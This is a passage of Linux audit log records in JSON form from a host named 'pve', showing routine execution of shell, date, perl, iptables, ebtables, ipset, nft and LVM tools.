cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745189,"@rawstring":"node=pve type=PATH msg=audit(1781964745.189:62418): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745189,"@rawstring":"node=pve type=PATH msg=audit(1781964745.189:62418): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745188,"@rawstring":"node=pve type=PATH msg=audit(1781964745.188:62417): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745188,"@rawstring":"node=pve type=PATH msg=audit(1781964745.188:62417): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745188,"@rawstring":"node=pve type=PATH msg=audit(1781964745.188:62416): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745184,"@rawstring":"node=pve type=PATH msg=audit(1781964745.184:62415): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745184,"@rawstring":"node=pve type=PATH msg=audit(1781964745.184:62415): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745184,"@rawstring":"node=pve type=PATH msg=audit(1781964745.184:62415): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745179,"@rawstring":"node=pve type=PATH msg=audit(1781964745.179:62414): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745179,"@rawstring":"node=pve type=PATH msg=audit(1781964745.179:62414): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745171,"@rawstring":"node=pve type=PATH msg=audit(1781964745.171:62413): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745171,"@rawstring":"node=pve type=PATH msg=audit(1781964745.171:62413): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745166,"@rawstring":"node=pve type=PATH msg=audit(1781964745.166:62412): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745166,"@rawstring":"node=pve type=PATH msg=audit(1781964745.166:62412): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745160,"@rawstring":"node=pve type=PATH msg=audit(1781964745.160:62411): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745160,"@rawstring":"node=pve type=PATH msg=audit(1781964745.160:62411): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745154,"@rawstring":"node=pve type=PATH msg=audit(1781964745.154:62409): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745154,"@rawstring":"node=pve type=PATH msg=audit(1781964745.154:62409): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745149,"@rawstring":"node=pve type=PATH msg=audit(1781964745.149:62408): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745149,"@rawstring":"node=pve type=PATH msg=audit(1781964745.149:62408): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745144,"@rawstring":"node=pve type=PATH msg=audit(1781964745.144:62407): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745144,"@rawstring":"node=pve type=PATH msg=audit(1781964745.144:62407): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745140,"@rawstring":"node=pve type=PATH msg=audit(1781964745.140:62406): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745140,"@rawstring":"node=pve type=PATH msg=audit(1781964745.140:62406): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745135,"@rawstring":"node=pve type=PATH msg=audit(1781964745.135:62405): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745135,"@rawstring":"node=pve type=PATH msg=audit(1781964745.135:62405): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745130,"@rawstring":"node=pve type=PATH msg=audit(1781964745.130:62404): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745130,"@rawstring":"node=pve type=PATH msg=audit(1781964745.130:62404): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745124,"@rawstring":"node=pve type=PATH msg=audit(1781964745.124:62403): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745124,"@rawstring":"node=pve type=PATH msg=audit(1781964745.124:62403): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745117,"@rawstring":"node=pve type=PATH msg=audit(1781964745.117:62402): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745117,"@rawstring":"node=pve type=PATH msg=audit(1781964745.117:62402): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745114,"@rawstring":"node=pve type=PATH msg=audit(1781964745.114:62401): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745114,"@rawstring":"node=pve type=PATH msg=audit(1781964745.114:62401): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745111,"@rawstring":"node=pve type=PATH msg=audit(1781964745.111:62400): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745111,"@rawstring":"node=pve type=PATH msg=audit(1781964745.111:62400): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745110,"@rawstring":"node=pve type=PATH msg=audit(1781964745.110:62399): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745110,"@rawstring":"node=pve type=PATH msg=audit(1781964745.110:62399): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745110,"@rawstring":"node=pve type=PATH msg=audit(1781964745.110:62398): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745107,"@rawstring":"node=pve type=PATH msg=audit(1781964745.107:62397): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745107,"@rawstring":"node=pve type=PATH msg=audit(1781964745.107:62397): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745107,"@rawstring":"node=pve type=PATH msg=audit(1781964745.107:62397): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745101,"@rawstring":"node=pve type=PATH msg=audit(1781964745.101:62396): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745101,"@rawstring":"node=pve type=PATH msg=audit(1781964745.101:62396): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745095,"@rawstring":"node=pve type=PATH msg=audit(1781964745.095:62395): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745095,"@rawstring":"node=pve type=PATH msg=audit(1781964745.095:62395): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745090,"@rawstring":"node=pve type=PATH msg=audit(1781964745.090:62394): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745090,"@rawstring":"node=pve type=PATH msg=audit(1781964745.090:62394): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745085,"@rawstring":"node=pve type=PATH msg=audit(1781964745.085:62393): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745085,"@rawstring":"node=pve type=PATH msg=audit(1781964745.085:62393): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745078,"@rawstring":"node=pve type=PATH msg=audit(1781964745.078:62392): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964745078,"@rawstring":"node=pve type=PATH msg=audit(1781964745.078:62392): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964744427,"@rawstring":"node=pve type=PATH msg=audit(1781964744.427:62391): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964744427,"@rawstring":"node=pve type=PATH msg=audit(1781964744.427:62391): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964744387,"@rawstring":"node=pve type=PATH msg=audit(1781964744.387:62390): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964744387,"@rawstring":"node=pve type=PATH msg=audit(1781964744.387:62390): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740483,"@rawstring":"node=pve type=PATH msg=audit(1781964740.483:62389): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740483,"@rawstring":"node=pve type=PATH msg=audit(1781964740.483:62389): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740483,"@rawstring":"node=pve type=PATH msg=audit(1781964740.483:62388): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740483,"@rawstring":"node=pve type=PATH msg=audit(1781964740.483:62387): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740473,"@rawstring":"node=pve type=PATH msg=audit(1781964740.473:62386): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740473,"@rawstring":"node=pve type=PATH msg=audit(1781964740.473:62386): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740473,"@rawstring":"node=pve type=PATH msg=audit(1781964740.473:62385): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964740473,"@rawstring":"node=pve type=PATH msg=audit(1781964740.473:62384): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736068,"@rawstring":"node=pve type=PATH msg=audit(1781964736.068:62383): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736068,"@rawstring":"node=pve type=PATH msg=audit(1781964736.068:62383): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736066,"@rawstring":"node=pve type=PATH msg=audit(1781964736.066:62382): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736066,"@rawstring":"node=pve type=PATH msg=audit(1781964736.066:62382): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736065,"@rawstring":"node=pve type=PATH msg=audit(1781964736.065:62381): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736065,"@rawstring":"node=pve type=PATH msg=audit(1781964736.065:62381): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736065,"@rawstring":"node=pve type=PATH msg=audit(1781964736.065:62380): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736061,"@rawstring":"node=pve type=PATH msg=audit(1781964736.061:62379): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736061,"@rawstring":"node=pve type=PATH msg=audit(1781964736.061:62379): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736061,"@rawstring":"node=pve type=PATH msg=audit(1781964736.061:62379): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736055,"@rawstring":"node=pve type=PATH msg=audit(1781964736.055:62378): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736055,"@rawstring":"node=pve type=PATH msg=audit(1781964736.055:62378): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736049,"@rawstring":"node=pve type=PATH msg=audit(1781964736.049:62377): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736049,"@rawstring":"node=pve type=PATH msg=audit(1781964736.049:62377): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736042,"@rawstring":"node=pve type=PATH msg=audit(1781964736.042:62376): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736042,"@rawstring":"node=pve type=PATH msg=audit(1781964736.042:62376): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736036,"@rawstring":"node=pve type=PATH msg=audit(1781964736.036:62375): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736036,"@rawstring":"node=pve type=PATH msg=audit(1781964736.036:62375): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736031,"@rawstring":"node=pve type=PATH msg=audit(1781964736.031:62373): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736031,"@rawstring":"node=pve type=PATH msg=audit(1781964736.031:62373): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736026,"@rawstring":"node=pve type=PATH msg=audit(1781964736.026:62372): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736026,"@rawstring":"node=pve type=PATH msg=audit(1781964736.026:62372): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736021,"@rawstring":"node=pve type=PATH msg=audit(1781964736.021:62371): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736021,"@rawstring":"node=pve type=PATH msg=audit(1781964736.021:62371): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736016,"@rawstring":"node=pve type=PATH msg=audit(1781964736.016:62370): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736016,"@rawstring":"node=pve type=PATH msg=audit(1781964736.016:62370): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736012,"@rawstring":"node=pve type=PATH msg=audit(1781964736.012:62369): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736012,"@rawstring":"node=pve type=PATH msg=audit(1781964736.012:62369): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736007,"@rawstring":"node=pve type=PATH msg=audit(1781964736.007:62368): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964736007,"@rawstring":"node=pve type=PATH msg=audit(1781964736.007:62368): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 